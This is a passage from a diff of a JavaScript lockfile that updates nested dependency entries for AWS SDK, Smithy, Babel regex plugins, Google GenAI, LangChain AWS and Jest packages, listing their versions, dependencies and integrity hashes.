+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
- "@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+ "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@google/genai/google-auth-library/gaxios/node-fetch": ["node-fetch@3.3.2", "", { "dependencies": { "data-uri-to-buffer": "^4.0.0", "fetch-blob": "^3.1.4", "formdata-polyfill": "^4.0.10" } }, "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA=="],
+
+ "@google/genai/google-auth-library/gaxios/rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": "dist/esm/bin.mjs" }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="],
+
"@istanbuljs/load-nyc-config/find-up/locate-path/p-locate": ["p-locate@4.1.0", "", { "dependencies": { "p-limit": "^2.2.0" } }, "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A=="],
"@jest/expect/expect/jest-matcher-utils/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "@jest/fake-timers/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
-
"@jest/reporters/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
"@jest/reporters/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
@@ -7967,6 +7825,8 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-recursion-detection/@aws/lambda-invoke-store": ["@aws/lambda-invoke-store@0.1.1", "", {}, "sha512-RcLam17LdlbSOSp9VxmUu1eI6Mwxp+OwhD2QhiSNmNCzoDb0EeUXTD2n/WbcnrAYMGlmf05th6QYq23VqvJqpA=="],
@@ -7975,6 +7835,10 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
@@ -7983,6 +7847,10 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
@@ -8013,6 +7881,8 @@
